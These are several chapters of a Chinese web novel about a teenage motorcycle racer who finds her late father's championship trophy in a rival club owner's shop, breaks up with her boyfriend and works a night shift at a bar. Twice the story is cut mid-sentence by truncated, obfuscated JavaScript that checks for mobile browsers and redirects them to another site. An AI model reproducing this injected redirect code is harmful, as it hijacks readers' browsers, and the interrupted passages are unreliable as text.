《大地鸣裂之时》 7.嗨,老爸 这个老板只有提到要把害他输比赛的女骑挖出来宰了的时候精神抖擞。 其他时候就像永远睡不醒似的,瘫在他出没的任何场所都存在的一把躺椅上,要死不活的样子。 孔绥觉得空气中充满了危险气息,想第一时间迅速闪人。 ……奈何同行人来了购物欲,李源跟家里打电话,说在临江市遇见一家特好、特正规的摩托车店,让他爸打钱,他现在就要订车。 蹲在柜台后面旁边的白色菠萝头一听这动静,脑袋跟狐獴似的“嗖”地从柜台后面冒出来,双眼放光—— 大概也是没想到一群一脸稚嫩、明摆着进店长见识的年轻人,居然还有给店里开单的可能。 “好人有好报,我就知道热情的对待每一位顾客会得到老天爷的怜爱。” 阿耀伸手扒拉一动不动的老板。 “所以这单算我的,老板啊——” 手被“啪”地一下拍开了。 李源凑上前,问店里有没有川崎ZX-4R的试驾车。 这是一辆日牌摩托车厂商旗下今年来最新出的防赛型摩托车。 现在市面上贩售车型大致分为防赛、复古、街车等三大类,防赛车型因为其车本身外形酷炫,骑行时姿势战斗,广泛受到年轻人的喜爱。 川崎ZX-4R属于400cc中排量摩托车,和停产的旧旗舰车型川崎忍者400属于同一排量的车型—— 不同的是,川崎忍者400是直列双缸发动机,但ZX—4R则是同排量下的直列四缸发动机。 这中间又有些说法。 伴随着近些年骑行文化在国内吹起一股复古风,街上骑摩托车的年轻人越来越多,国产的摩托车品牌如春风、钱江等品牌如雨后春笋崛起…… 他们发挥了“国产”最强大的优势,将老牌的日系、欧美系旗舰摩托发动机逆拆解,搞产量,在短短两年内实现了把摩托车“价格打下来、配置卷起上去”的骑士之梦。 连带着,那些曾经在摩托车厂商中占据很长一段时间的海外老牌,也不得不跟上此卷数据的步伐—— 同样价格下,原本用来买阿普利亚S660双缸的价格,砍一半能够买钱江赛系列的四缸,有的选大家自然选性价比更高的。 川崎ZX系列就是这种卷产能下的产物。 ——中小排量,四缸发动机,打着“赛道纯血”的旗号轰轰烈烈上市。 现在大街上,主流还是国产的春风250或者450,撑死了也就愿意买个合资品牌的铃木250(*又叫“小小R”),或者是钱江赛600…… 上来就愿意花个七八万买川崎四缸车的年轻人不多。 但一旦有咨询,这种通常成单率很高。 阿耀遗憾表示店里暂时没有ZX-4R的试驾车—— “因为和您一样有眼光,愿意买这种纯血赛车的人并不多见!毕竟一样的中排,穷鬼们都去买现在便宜将近一大半的忍四去啦!” 正把手放在已经淘汰的忍者400上爱抚个没完的孔绥:“……” 茫然的回过头,便看见白色菠萝头正一脸热情的跟李源介绍ZX-4R的数据,吹嘘这车百米加速5.12秒,秒杀国产大排,现在订购不用加价不用购买外挂礼包,享受两年免费保养,车折扣还好商量! 李源说:“好好好!买!” 卫衍站在旁边看川崎的产品图册,顺嘴问了句:“这么着急啊? 李源双眼放光:“你不知道ZX-4R可塑性多高,拿去改一改就能下赛道了,临江市算是国内摩托赛事最成熟的城市之一,等我买了车,就去学赛道——说不定以后可以加入一个俱乐部!” 白色菠萝头闻言,停顿了下,转过头似笑非笑的看着李源。 李源没注意到他微妙的,开始细数临江市的几个有名的机车俱乐部,提到了「UMI」,提到了「空」,顺嘴提了提听说前几天两个俱乐部在化龙国际赛车场争了个你死我活…… 那边店老板兼「UMI」俱乐部老大还跟死狗似的,背对着众人躺着一动不动。 也不知道有没有听到年轻人正在讲他的传说。 但孔绥听见了。 李源说:“听说「空」俱乐部还来了个新的神秘女骑,超他妈厉害的,一登场给「UMI」所有人杀了个措手不及,然后是片甲不留——” 孔绥:“……” 嗯嗯。 你继续说。 说完别说谈折扣,还得加价2000块卖你。 白色菠萝头“啪”地合掌,一脸“好巧哦”:“我们就是「UMI」俱乐部的!” 李源:“哇?!!!” 白色菠萝头指了指身后的死狗:“我们老大。” 李源:“哇哇哇???!!!!!” 白色菠萝头:“现在买车刷个眼熟,以后「UMI」俱乐部欢迎您!” 孔绥:“……” 孔绥在心中已经默默给菠萝头安上了“销冠”的tittle。 李源他老爸也是打钱得飞快,正当李源都坐在待客区,准备耐心等给他打印订金合同了—— 此时,柜台后,躺椅又发出“嘎吱”一声不祥的声响。 在阿耀面无表情的凝视中,他亲爱的老板又挺尸似的坐了起来,打了个呵欠,转过头问李源:“成年了?” 打印机旁边蹲着的阿耀:“没成年也享受中华人民共和国公民一切合法权利,也是可以置办不动产的——” 老板:“但没成年不能考驾照,没照买车回去摆着看?” 阿耀:“知道了,他会考的,您快睡——” 老板:“没证卖不了。无证驾驶的车卖不了。小孩,车企不会倒闭,你先去考证。” 阿耀:“求您快睡!!!!!!” 老板“啪”地又躺了回去。 …… 阿耀转头跟李源说,您知道吗,其实我们这里也有考摩托车驾驶证业务的。 李源:“……” 孔绥:“……” 阿耀“嘿嘿笑了声:“蚊子再小也是肉,有钱不赚王八蛋。” 李源:“考、考驾照多少钱?” 阿耀:“摩托车驾驶证是E照,有一般小汽车C照再考E照属于增驾,七百五,没有C照的多考个科目一,一千三百五。” 一千三百五的报价一出,孔绥感觉在旁边瞎逛,正弯腰看一辆复古车的卫衍突然直起腰,转过身看了她一眼。 …… 李源最终还是在众人羡慕的目光中,交了两万块摩托车定金,以及一千三百五的驾考报名费。 ——羡慕的队伍里包括了孔绥。 吴蝶等其他人羡慕的是李源家境好,二万多块打个电话说来就来。 孔绥羡慕的是他能打电话要这份钱。 他人轻而易举的成功,让她的嫉妒变得更加面无全非。 手下心不在焉的捏了捏近在咫尺的这辆众人嘴巴里“已经停产”“面临淘汰”的川崎忍者系列, 孔绥正心酸的想,如果她打电话给妈妈说要买一辆摩托车,等待她的恐怕只有降龙十八掌…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568310|186728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过,李源刚才的意思是,其实他妈也不同意他骑摩托车,他是管他老爸要的钱。 话又说回来了。 如果她老爸还在—— 就在这时,一阵手机闹铃声打断了她的思绪。 她循声转过头去,只见一只手指修长、指尖修剪圆润干净的手从柜台后抬起来,一把笼罩了随手放柜台上的手机。 那只手在手机屏幕上摸索了下,摁掉了闹铃。 紧接着,高大的身影再一次出现在了众人的视野里,在阿耀见怪不怪的视线中,男人睁着睡意朦胧的双眼,抬起手揉了揉本来就蛮乱的头发。 马丁靴“咚”地落地。 他站了起来。 孔绥这才看到,在这个极其具有现代设计风格和机车文化气氛的摩托车店内,角落里居然还颇为复古的供奉着一个红色的佛龛。 …… 男人走到佛龛前站稳,抬起手整理了下上面供奉的水果,然后顺手从旁边的木盒里取出三支香。 打火机“喀啪”一声点燃香,火焰在香头窜起,倒映出冷硬的轮廓。 下一秒,便见他抬手用指腹轻轻一抿,把香头上的明火掐灭。 “滋”地闷响,明火熄灭声清晰得像一根针落地。 空气顷刻安静下来。 “师父,原谅阿耀想钱想疯,给刚成年小孩开单,实在是下个月店租零头还未凑齐,我哥最近学会不接我电话。” 细细的烟线从香头蜿蜒而上,伴随着男人薄唇懒洋洋的开合。 “生活所迫,但您若看不过眼,要怪就怪阿耀一个人,与我无关。” 众人“……”的视线中,他挑了挑唇,与此同时微微低头,手掌平举,香在指间微微颤动。 灯光从他发梢滑下来,落在他半躬身时露出的光洁修长后颈上,尽管说着离谱的话,整个人却还是意外显得克制又庄重。 那尊神龛立在角落,红木底座擦得发亮,他抬起香,在香炉前停了片刻,指尖微微一顿,然后插了进去。 烟雾在空气中缭绕,带着一股淡淡的木香。 做完一切,男人转过头,对完全陷入无语的阿耀说:“好了,跟祖师爷请罪过了,你继续放肆造孽。” 众人:“……” …… 孔绥平静的心想,妈的,这个神经病。 在店铺老板双手插兜又开始往他亲爱的躺椅那边挪动,出于好奇——也没那么好奇——但还是有点好奇,孔绥实在是蛮想知道,摩托车的祖师爷是哪位。 总不能是马克·马奎斯(*顶级赛事motoGP顶级赛车手,共计获得8次世界冠军),人还没死,这就供起来了,不好吧? 难道是关二爷? 关二爷还管骑摩托车吗? 挪动步子默默的绕到佛龛前,漫不经心地抬头一看,下一瞬,孔绥脑子直接空白。 神龛正中,供的不是佛,也不是哪位世界级明星赛车手,而是一张照片—— 照片里的年轻人一只手抱着摩托车头盔,穿着旧款赛车服,笑得意气风发。 旁边是一座奖杯。 一座孔绥曾经在家里翻箱倒柜也没找到,已经默认一块儿火化了的奖杯。 奖杯底座上刻着: 「CRRC公路锦标赛冠军 孔南恩」 神龛最中央,香烟袅袅后,摆着一块木牌,烫金小楷,三个字闪得晃眼: 「恩师孔南恩」。 孔绥:“…………………………………………” 嗨? 老爸。 8.分手 正如同普通的摩托车有普通的驾驶证,赛道用的摩托车,也有赛道专用证。 一般人想要骑普通摩托车,需要去考D照(*三轮机动车驾驶资格)或者E照(*二轮机动车驾驶资格)。 而一名赛车手,若是想要参加国字头(* 中国汽车摩托车运动联合会(CAMF / China Automobile and Motorcycle Sports Federation)背书的正规赛事,如CRRC公路摩托车竞标赛、中国摩托车大奖赛等比赛,就至少需要有一枚B照,既入门级/业余赛车执照。 拥有B照后就可以参加地方性、俱乐部级或部分全国公开赛,称为“合法上赛”(*既保险、安检、成绩都计入官方系统)。 理论上B照是个人都能考。 ——但B照上面,还有个A照。 A照就是B照的进阶版,可以理解为“职业车手执照”,拿到A照,就能参加国家级甚至国际认证赛事,甚至资格申请FIM(国际摩联)国际执照。 A照必须持有B照至少一年,且在正式比赛中取得一定成绩(例如完赛若干场、积分达到标准),A照是走出国门、走向世界的敲门砖。 明面条件是不苛刻,但实际上真的能拿到这个A证的人少之又少。 ——根据今年年初的CAMF公布数据显示,历史上获得A照的人不超过五十人。① ……………………摩托车被称为足球之外的另一个“国运平衡器”不是完全没得道理的。 孔绥的父亲孔南恩,就是国内算最早一批拿到了A照的职业赛车手。 翻译一下。 这事儿若是放到修真修仙小说,以孔南恩的江湖地位,孔绥现在至少也得是一宗开宗老祖的亲闺女,宗门圣女。 但孔南恩死了,正所谓落难凤凰不如咕咕鸡…… 宗门圣女还他妈要被亲爹的爱徒发江湖通缉令。 …… 走出摩托店,在众人张罗着买电影票时,孔绥缩到一旁,正忙着抱着手机给「空」俱乐部老大石凯叔叔发消息。 先是一连串“土拨鼠尖叫.JPG”作为开端,再来一串“尖叫鸡锁喉.JPG”作为情绪铺垫。 五分钟后,当卫衍问孔绥要不要买爆米花,石凯回了消息。 【Mr石:我真的心痛。】 【Mr石:他们让我不要这么求贤若渴的吸纳高中生黄毛丫头进俱乐部时我没听。】 【Mr石:后果就是现在我必须要平静的面对你的中二病和咋咋呼呼还不能骂人只能微笑着问你:闺女,又咋了?】 孔绥无视了Mr石加枪带棒的回复。 【恐龙妹:!!!!!!!!!!!!!】 【恐龙妹:你知道「UMI」他们的老大的师父是谁不!!!!!!】 【Mr石:知道啊,孔南恩。】 【Mr石:人还跟你一个姓呢,哈哈,八百年前是一家。】 【Mr石:咋了?】 【恐龙妹:那你知道这位哥因为上次化龙国际赛车场的滑铁卢怀恨在心,发出江湖通缉令,一心想要把破坏他蝉联赛道控制权大计的恩师之女捉出来杀掉的事吗?!!!!】 【Mr石:啊?哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,知道啊,江在野现在恨死你了。】 【Mr石:但他要杀的是你,才不是什么……】 【Mr石:等下?】 【Mr石:孔南恩是你老爸?】 这一次换石凯开始用一连串真情实感的问号,和“土拨鼠尖叫.JPG”疯狂刷屏。 但孔绥联系石凯并不是为了跟对方商讨自己宗门圣女身份的。 她另有目的。 很急迫的目的。 当年孔南恩走后,留下的东西并不太多,连带着他的大部分奖牌和比赛穿的连体服、骑行靴都随着火葬场那一把能焚毁一切的焚化炉,通通付之一炬。 CRRC是国内公路赛最高殿堂,登上那个领奖台,算得上是孔南恩作为一名职业赛车手的个人最高成就。 那年孔绥才五岁,什么都不记得,只记得在某个阳光猛烈甚至有点毒辣午后,她老爸带着一身臭汗将她从有空调的赛场休息室拖了出来,将硬邦邦的一个很沉很沉的奖杯塞到她的怀里,然后在很多陌生叔叔阿姨的簇拥下,将她一把像《狮子王》里老猴子在悬崖边举辛巴似的举了起来。 香槟和彩带如烈日下一场彩色的雨,苦涩的香槟甚至飞溅到了她的嘴巴里,那是她人生第一次尝到酒精的味道,只觉得好苦,怀里的奖杯好硬。 现在想起来,老爸的笑声震耳欲聋。 那大概是他人生中最快乐的时刻,之一。 ——曾经孔绥以为就连这个奖杯也没有被留下,她为此跟林月关女士闹过长达一年的别扭。 【恐龙妹:你知道「UMI」俱乐部的老板在临江市中心的店里供着我老爸的CRRC公路赛的冠军奖杯?】 【Mr石:知道,这事人尽皆知。】 【Mr石:顺便,他叫江在野,你别老“「UMI」俱乐部老板”了,这么长的称号打着不累吗?】 【Mr石:啊,你到他店里送死去了?】 【恐龙妹:没死成。】 【恐龙妹:比赛那天戴着头盔和防晒口罩,他没认出我。】 【Mr石:然后你就在店里看到你老爸的奖杯了呗?】 【恐龙妹:……………………我曾经以为这个奖杯被我妈砸碎了一块儿火化了。】 ……晚点还要回家跟妈妈为这份误解磕头认错呢。 放下手机时,孔绥意识到自己的手掌心全是汗,心跳也有点快,那感觉不像是在跟人聊微信,更像做贼。 舔了舔有些干涩的唇瓣,孔绥在衣服上擦擦手心的汗,才重新拿起手机,提出这会儿找石凯真正的诉求。 【恐龙妹:哥,你能不能问问那个……江在野,化龙国际赛车场那天打他脸的事我给他道歉,他能不能把我爸的奖杯还给我?】 …… 石凯那边回了孔绥一个“……”之后,很长一段时间显示“正在输入中”而没有发出一个字。 站在阳光下,孔绥回过头看了眼已经走出几十米开外、此时正在身后的摩托车店,跺了跺脚,有点拿不准自己是不是在强人所难。 虽然她初来临江市,对边的俱乐部分布以及盘根纠缠的内在关系并不算了解很深…… 但根据她的观察,她觉得其实「UMI」和「空」俱乐部没有那么老死不相往来。 先不说「UMI」的老板,那个江在野,是个什么样的人,但至少孔绥熟悉石凯,石凯就不是什么小气的人—— 中国摩托车赛事从第一辆铃木125引进国内的那天起,成年组就没有能够站在世界顶级公开赛的,尤其是MotoGP之类的公路赛,更是一个都没有。 这几年幼崽组倒是肉眼可见的正在跟上梯队,这还多亏了成年组搞不出成绩的老头老太太们把梦想押宝在自家好大儿身上…… 能留在这个圈子的,除了家底厚经得起“第二国运平衡器”消耗,大家统统都有梦想,惺惺相惜自不用提。 但石凯对这个事,还有点犹豫。 【Mr石:这事儿没那么好办。】 【Mr石:你知道江在野是临江市江家的小少爷不?你那个除了有钱就得一张嘴巴叫喳喳的徒弟跟他能说得上几句话……】 【Mr石:你不如先让他旁敲侧击,江在野要是对这个事没有那么暴跳如雷,为父再替你冲锋陷阵。】 孔绥:“……” 临江市江家。 就那个传说中涉足了地产、酒店、文旅、船舶航运、生物科技等一长串的产业,跺一跺脚整个临江市都地震的江家。 传闻江家到这一辈一共六个孩子,全是一个妈生的,兄弟姐妹六人团结一致,这么多年和谐得叫不知道多少自带鸡飞狗跳属性的家族羡慕不已—— 江在野行五,还有个妹妹,叫江珍珠。 孔绥热泪盈眶。 【恐龙妹:我的珠珠!!!!??????】 【珍珠:额,你先说我再考虑答不答应你?】 【恐龙妹:江在野是你哥呀!!!!!】 【珍珠:…………对,你咋认识他?但关于他的任何事你暂时都别问我,因为这两天他正躺在我的黑名单里。】 说完江珍珠给孔绥发了几张截图—— 图一发送人备注是“小哥(欠2W)”,问江珍珠大哥为什么不接电话。 图二发送人备注是“亲爱的大哥”,问江珍珠老五找你了没,江珍珠说找了,问您怎么不接电话呢,“亲爱的大哥”说,我在开会,你先拉黑他。 图三是微信设置界面,“小哥(欠2W)”被打开了拒收消息黑名单按钮。 孔绥:“……” 【珍珠:你怎么会认识我小哥?】 【珍珠:不管怎么样,不要被他的皮囊蒙蔽,他和卫衍我都说不上来谁更烂一点,你要跟他在一起可能会年纪轻轻负债百万。】 【珍珠:快跑!!!!!!?】 孔绥:“……” 【恐龙妹:我有东西落在你哥那了,想问他要回来。】 【珍珠:那要不回来了。】 【珍珠:一颗白萝卜落在他手里都会被他卖掉换钱养他那些破摩托的。】 孔绥:“……” …… 江珍珠给孔绥发了个酒吧的地址,说已经跟她三哥说好了,让孔绥晚上去这切果盘,晚上八点切到晚上十二点,每天二百块,日结。 孔绥说酒吧是不是不太安全,你就没哪个哥哥开奶茶店,我比较想去摇奶茶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是吗,没看出来。” “你刚才在店里一直盯着那个老板——” ………………我爸对他恩重如山被他供起来每日定时定点闹钟上香他却想杀我如此神经这难道不值得我盯着他看吗? “我三分钟前才知道那个老板叫什么。” 孔绥换上了冷静的语气。 “我只是想骑车,你刚才在店里看不到我干嘛?店里那台忍四都快被我抹秃噜皮了。” 卫衍突兀的怪笑了声:“骑车?骑摩托车?孔绥,你根本就不是这种人,你连骑电动车都不会吧?” 谁说我不会骑电动车? 孔绥呼出一口气,语气淡下去:“我是哪种人?你之前问我喜欢做什么的时候,我早就告诉过你我喜欢骑车——” “可你连驾驶证都要攒钱现考,说什么喜欢骑摩托车呢?” 卫衍看着她,眼神里有点复杂的失衡。 “我从来没觉得你是个书呆子,但也没必要撒谎吧?” 这句话像是一道冷钝的钉子,孔绥脸色一点点沉下来。 她突然觉得跟卫衍解释关于封闭式赛道骑车、练车甚至是参加一些小型商业的比赛,根本跟有没有机动车驾驶证毫无关系都是多余。 “你装得太不像了,刚才你盯着那个老板的双眼在放光,你知道吗?” 卫衍苦笑着继续道。 面前商场的自动大门打开了,空调的凉气从商场里吹出来,吹掉了一丝丝暴露在烈阳下的燥热。 孔绥垂下眼。 也没那么想生气,她只是觉得蛮好笑的。 “卫衍,你眼神有毛病。” “……什么?” “正如你连我刚才在看什么都不知道,你也看不清楚你自己是不是真的喜欢我,是不是真的想和我交往。” 卫衍皱眉,反驳道:“你不要扯到这方面来,我怎么可能不喜欢你——” 孔绥盯着他,神情平静得近乎冷漠,紧接着她一把将怀中抱着还散发着甜蜜气息的爆米花桶塞回给面前的少年,动作干脆。 “我们别谈了。” 卫衍怔了怔,有些难以置信的缓缓睁大了眼:“你什么意思?” “意思就是,”孔绥抬头,盯着他的眼睛,“分手。” 她说完,转身大步离开。 肩背笔直,头也不回,显得干净利落。 ……和那天在礼堂一样。 与卫衍记忆中总是笑眯眯的仰着头跟周围人说话,说话细声软语,脾气好的像一汪无杂质的清泉般的既往印象,判若两人—— 原来礼堂那天的倔脾气,真的并非惊鸿一现。 9.毛茸茸 江在野晚上到「兰若」的时候,很多人都已经到了,酒上了都没开,硬嗑瓜子吃果盘,等着江小少爷。 酒吧的经理点头哈腰的在前面引路,念今晚的攒聚名单。 可惜江在野不在意。 “我三哥呢?” 江在野的三哥江已是「兰若」的老板,临江市花名在外的花蝴蝶,江在野觉得自己没被老爸打死的唯一原因就是跟江已比,除了爱做赔钱买卖,他还算乖。 今天江在野出现「兰若」这是为了找江已—— 下个月化龙国际赛车场有一场商业比赛,小打小闹的连B证都去用不上,折合场地费,那参赛报名费跟做慈善似的。 包场三天的定金交了,赞助商都准备入场了,场地费的尾款还差点儿……江在野的大哥不接他电话,二哥在跑船飘大西洋上没信号,只能找三哥。 前方经理嘻嘻哈哈,说:“老板听说您要来,躲去别的场子了。” 这个“躲”字就很精髓。 几个哥哥的眼里,江在野跟讨债鬼确实没多大区别。 推开门,包厢里坐着十几号人,大多数都是临江市的世家子弟,见他推门进来,有几个人抬了抬屁股,直接站了起来。 “野哥,你可算来了!” “坐,坐!” “哎呀,在这局上见你一次挺难的……你天天就拿‘下周有比赛‘打发我们,哪有比赛提前一周禁酒禁欲,骑车还是搞清修啊?” 七嘴八舌的调侃,但也就是说个笑,谁也不敢真的抱怨。 这份惶恐和捧着,江在野没觉得受不起也没觉得这些人突兀。 头一转,眼很尖的看见角落里还坐着个满脸惶恐的原海—— 原家是前几年乘着政策的风起来的,原老爹没有暴发户的那些坏毛病,入得了江家老爷子的法眼,和江家商业来往也有一些。 原老爹最烦的就是他的小儿子天天出门骑摩托,总是念叨他没事干去泡泡妞吃吃米其林或者环游世界干什么不行,非要骑个破摩托。 为了让原海不骑摩托,原老爹还干过和江在野的亲爹一样的事,那就是想把儿子送出国留学,继续吃吃当学生的苦。 原海当时还找江在野取经,江在野告诉他最难毕业的是德国,让你老父亲送你去那吧—— 原海一查,德国除了有难以毕业的大学,还有不限速的高速路,顿时乐了。 于是屁颠颠真去跟他爹建议要去德国。 然后不幸的是原老爹见儿子那么配合起了疑心,动动手一查了解其中猫腻,德国留学的事泡汤了,原海又喜提一顿打。 以上。 原海原本该进「UMI」的,也是因为挨了那顿打,觉得野哥坑他,转头赌气跑去「空」,投奔了石凯—— 本来这都没什么。 临江市就那么大,在哪高就不是混。 但千不该万不该,这小叛徒那天身为叛党,对着「UMI」挥出了最的致命一刀:那个身份成谜的女骑是他带来的。 ……小小文输了比赛,还输给个小丫头片子,至今快一个星期了,都还没缓过来。 江在野走到角落里,抬脚踢了踢瑟瑟发抖的原海,嗤笑:“拓海兄,够狗胆啊……还敢出现在老子面前?” 这一主动开腔,虽然加枪带棒,但还真是江在野今晚第一个搭话的人。 原海听出江在野不是真生气了,整个人才放松下来,赔笑道:“哥,我的野哥,你这话说的我得多害怕啊——那天那个是我师父……” 江在野挑了挑眉,不怎么意外。 他是真让人去查了那个女骑是什么人,但也就查到她是边江市上来的,在那鸟不拉屎的县级市小赛道挺有名,杀遍天下无敌手,别人给她取了个外号,叫「小太岁」。 挺中二。 再多的就查不出来了。 原海肯定知道江在野在查户口的事,嘴巴比蚌壳还紧,这是护着他师父。 “你还有师父。” 听江在野似笑非笑,原海只能干笑:“那追谁的骑车技术也不能是天生天养的……” 江在野不搭腔了。 随意就挨着原海坐下,长腿一伸搭在茶几上,扫了眼,上面放着几个果盘,橙子切的别说造型,跟狗啃的似的。 正好包厢门开了,外面进来个推着小推车送酒和果盘的服务生。 “今晚的果盘怎么回事?” 江在野随口问。 服务生“啊”了声,仓惶一抬头,是一个脸嫩还脸生的小姑娘,稚气未脱的样子,像掉进鳄鱼池的小鹿。 小鹿眼巴巴又毛茸茸地望着他,问他:“果盘怎么了,是、是种类不喜欢吗?” 不知道为什么眼神儿忽闪忽闪的,带着一点莫名其妙且完全非必要的讨好。 江在野:“……” ——连个正经水吧师都请不起,还雇佣未成年,江已要坐牢了。 江在野摆摆手,一个字废话懒得多说,眼神挪开了。 不远处另一个沙发上众人面面相觑,特意给江小少爷留的主位他没坐,就那么突兀地空着,也没人敢坐。 …… 酒过三巡,时间将至十点多时,江在野注意到送了果盘就没离开过的毛茸茸蹲在角落里,用托盘掩饰着打了三个呵欠。 迷迷瞪瞪的样子,待在一群吆三喝六喝酒的世家子弟中间倒也不见害怕,也不知道是对江已的场子治安太有信心,还是压根就不看社会新闻。 这时候有人上来给江在野敬酒,来人自己喝的挺高,走路都打飘。 江在野随手把那杯递过来的威士忌喝了,抬了抬眼,让人把经理喊进来,准备把碍眼的未成年送出去。 等了一会儿,经理进来了,但他不仅没给包厢里减员,后面还带着一个人。 那是中年男人,穿着洗得发白的牛仔裤,看上去三十五六岁,国字脸,一身夹克有点旧。 来人脸上挂着的拘谨和期待非常矛盾,没等江在野开口,就有坐在门口的人皱眉,问经理搞什么,怎么什么人都随便往里带—— 没等经理说话,那人就先恭恭敬敬的递上了自己的名片,那皱着眉的人接过来随便看了眼,名片款式很简陋,是街边随便小文印店就能做的白底黑字款式,上面写着: 「林城飞驰机车(驾控)俱乐部 王宿」。 林城是隔壁省下的一个三线城市,旅游城市,最大的一个特点就是穷,穷得响叮当,最近一次在网上看到它们的新闻还是政府穷到拖欠垃圾费。 这种小地方还有机车俱乐部。 收了名片那人姓李,叫李茂,自小跟着江在野一块儿长大,这一下就觉得「兰若」的经理从“不懂事”一下子变得“很懂事”—— 江在野其实并不平易近人,作为临江市最大的俱乐部老板,还架着江家少爷的身份,平时想见他一面挺难。 但若是哪个机车俱乐部的老板有求而来,他一般都会见一面。 “野哥,您好您好啊,我叫王宿,从林城来的,刚才和朋友在外面玩,听说你也在这,就想着敬您一杯。” 江在野抬眼,接了递来的名片,看了他一眼。 ——半个小时前有个公子哥儿摇来的小姐姐进包厢时,就抱怨外面突然下了暴雨。 这王宿夹克都是湿的,上面雨点还挺新鲜。 那王宿大概知道江在野不是喜欢听废话的人,弯了弯腰,显得挺礼貌的说:“听说您手里有拿胎的供货渠道?我那边小俱乐部,有几个骑手培养,但预算有限,想问问能不能拿点便宜点的轮胎。” 王宿笑得热切,眼神却有点飘,可能是不好意思。 江在野二十三四岁,实实在在比他年轻了一轮,这恭恭敬敬喊“野哥”,其实挺难为情。 包厢里原本有人陪着小姐姐在对唱情歌,这会儿放下了话筒,然后包厢里的音乐声“嘎巴”一下就断了。 江在野看了眼,是缩在角落里的那个毛茸茸,也不知道怎么“那么有眼力见”,直接给背景乐摁了暂停。 “什么规格?”江在野问,声音不高。 王宿比划着:“我们那小赛道,和临江市的化龙国际赛车场比不了,胎能跑赛道就行,不用太顶级,半热熔就不算浪费——就平时训练、偶尔参赛都能用的。” “米其林 Power Slick 2,还是倍耐力 Diablo Supercorsa?” “呃……倍耐力吧。”王宿干笑两 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,温度窗口够宽,林城和临江市气候很像,也老下雨是吧——进货价我能拿到三千三一条。你要二十,明天到我俱乐部仓库找阿耀,自己想办法拉回去,我包不了物流。” 王宿怔了怔,整张脸都红了:“野哥……” 江在野只是嘴角动了动,看着好像挺害怕王宿扑上来给他一个吻—— 反正现在这个气氛确实到这了。 “下周化龙国际赛车场有比赛,你带你那帮人过来跑一下。” “哎哟,野哥,我俱乐部那些杲子崽,一天到晚就晓得耍——” “见下世面才知道收心。” 江在野似乎对王宿说的不成器的年轻人的状态完全见怪不怪,他看了王宿一眼。 “你不带他们出来跑,他们这辈子都只会在家门口吹牛逼。” 王宿了张嘴,像是想说什么,最后只剩下一个低低的:“您讲的对。” 停顿了下,他拿起了桌面上放着的一杯没人动过的威士忌:“野哥,我先敬您一杯!真心的!” 江在野抬手,碰了下杯。 放下杯子,王宿走了,所有人都看到那个中年人走出去的时候,腰杆比之前挺得直,但是眼角有水泽反光。 …… 王宿离开没十分钟,江在野的电话响了。 男人盯着来电人犹豫了三秒,叹了口气,才挂着满脸的不情不愿的接了电话。 “二十条!!!!!原价!!!!!老板!!!!!!野哥!!???” 电话那边的人喊的,以至于声音有点变调,几乎听不出来电人,原海在旁边问了句,是不是阿耀。 江在野嫌吵耳朵,把手机拿开了,开了免提丢桌子上,电话里的人压在咆哮:“我的哥,你再这样做慈善,我们早晚揭不开锅——准备当临江市安徒生,谱写自己的摩托车圈童话?!中国摩托车赛事是靠您扶贫能扶起来的吗?!!谁启发你这么歹毒的的灵机一动啊!!!” 江在野:“不会揭不开锅的,我还有三个哥哥,我爸也宝刀未老。” 江在野:“别害怕。” 江在野:“我去吸他们血养你们。” 电话里的阿耀&包厢内全体成员:“……” 江在野翘起二郎腿,往后一靠:“那我今晚不就是到「兰若」要饭来了吗,喝的我头疼,不可怜吗……可惜了江蓝宝是姐姐,我不能拖累我姐,害她被骂扶弟魔,不然那二十条轮胎我都可以送他们。” 阿耀:“您的觉悟是真的高。” 江在野“嗯”了声。 阿耀:“素质也是真的低。” 说完这句,电话“啪”的见鬼一般挂断了。 包厢里安静了几秒。 江在野抬手揉了揉太阳穴,又抓起手机看了眼,出去找江已的马仔还没回话,至今尚未找到他那为了躲不给可爱的弟弟零花钱逃窜流亡在外的哥哥。 就在这时,角落里,一个软趴趴的声音响起—— “哥,你想吃什么水果呀,我去给你切?” 江在野:“?” 江在野:“……” 这未成年怎么还在? 10.海底捞啊 江珍珠躲在她哥办公室里打了几把游戏,一抬头发现一个半点过去了,说好的切完芒果就来找她的孔绥不见踪影。 她也是反应过度心中“咯噔”一下,当下蹦了起来。 一只脚踏出办公室门的时候,手里拿着手机,嘴里已经在发微信骂江已,说我家鸟崽在你的场子丢了,你这果然都是不三不四的人,你等着你场子明天就要关门,我还要让爸爸把你脑袋拧下来。 那边江已秒回。 一个“?”外加两个字:没丢。 【珍珠:你怎么知道?】 江已给江珍珠发了个聊天截图,新鲜热乎的,内容是江在野问他在哪,江已回答弟弟他在亚特兰蒂斯试图复活霸王龙建造侏罗纪公园以创造财富填他亲爱的弟弟这个吞金巨兽无底洞。 江在野说“哦”,然后说他这边某个隐秘角落里蹲着个未成年切果盘开酒小妹,一个小时见不到江已他就报警举报这里雇佣童工。 【江已:和尚面前不吃肉。】 【江已:你小哥在,就算你那小姐妹是仙女下凡,今晚包厢里那群傻逼保证都乖乖的,不敢乱来。】 江珍珠龙卷风似的刮到吧台,果不其然,一眼就看到穿着服务生制服的背影,孔绥的脖子上还挂着围兜—— 孔绥本身不算娇小,但是此时此刻,愣是被站在油锅旁炸虾片的纹身大哥衬托得若小无助又可怜。 勤勤恳恳得像个因为对社会险恶一无所知被抓壮丁的小奴隶。 江珍珠凑过去伸脑袋一看,只见孔绥正站在那剥山竹…… 眼下已经剥了一大盘,盘子里还有改了花刀的芒果。 江珍珠:“……你在干嘛?” 